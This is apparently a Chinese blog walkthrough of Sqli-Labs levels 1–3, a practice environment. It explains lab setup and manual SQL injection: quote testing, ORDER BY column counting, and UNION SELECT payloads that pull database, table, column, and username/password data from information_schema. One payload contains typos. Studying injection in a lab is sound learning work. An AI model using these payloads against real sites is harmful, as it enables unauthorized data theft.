Sqli-Lab 1-3

这周搭建了Sqli-lab测试环境(其实是一个阿三发明的游戏…),之前遇到sql注入的题目都是sqlmap一把唆,导致自己把手动注入的步骤都忘得差不多了…这次正好借助这个环境复习sql注入相关知识,加深理解

搭建环境

用的是XAMPP,因为之前搭建DVWA环境时都设置好了,直接将sqli-lab文件夹拖到htdocs文件夹下即可

具体参考https://blog.csdn.net/qing666888/article/details/81914389

如果是PHP7+,sqli-lab通常会报错,需要将mysql_xx()函数全部替换成mysqli_xx(),以及修改mysql_query()、mysql_error()函数的参数

(后来找到了适配PHP7的版本…..https://github.com/skyblueee/sqli-labs-php7)

Sqli-Lab Less-1

测试id=1 回显正常

id=1‘ 报错

id=1’ %23 回显正常,对应的SQL语句:select * from table where id=’1’ # ‘

(%23即#的url编码,#是锚点,不能作为HTTP请求的一部分,只能用%23代替)

以上说明是单引号字符型注入,即select … from … where id=‘ ’ …的形式

接着用order by语句判断有3列语句

order by 3正常,order by 4报错

开始爆库

id=1’ union select 1,1,database() %23 回显并没有变化

id=-1’ union select 1,1,database() %23 将id改为-1,成功

这是因为将id改为一个不存在的值后,就不会显示id=x的查询结果,而是显示后面union查询的内容

爆表

id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’%23

爆字段

id=-1’ union select 1,2,group_concat(column) from information_schema,columns where

table_name=’users’ %23

爆字段数据

id=-1’ union select 1,username,password from users where id=x %23

Sqli-Lab Less-2

测试id=1 回显正常

id=1’ 报错

id=1’ %23 报错

id=1 or 1=1 回显正常,对应的SQL语句:select * from table where id=1 or 1=1

以上说明是数字型注入,即select … from … where id= …的形式

与字符型的区别:少了单引号

构造URL:因此把Less-1中的后单引号去掉,其他保持不变即可

Sqli-Lab Less-3

测试id=1 回显正常

id=1‘ %23报错

id=1’) %23 回显正常,对应的SQL语句:select * from table where id=(‘ 1’) # ‘)

说明是字符型注入,而且是以 (‘’)的方式闭合字符串,即select … from … where id=(‘’) …的形式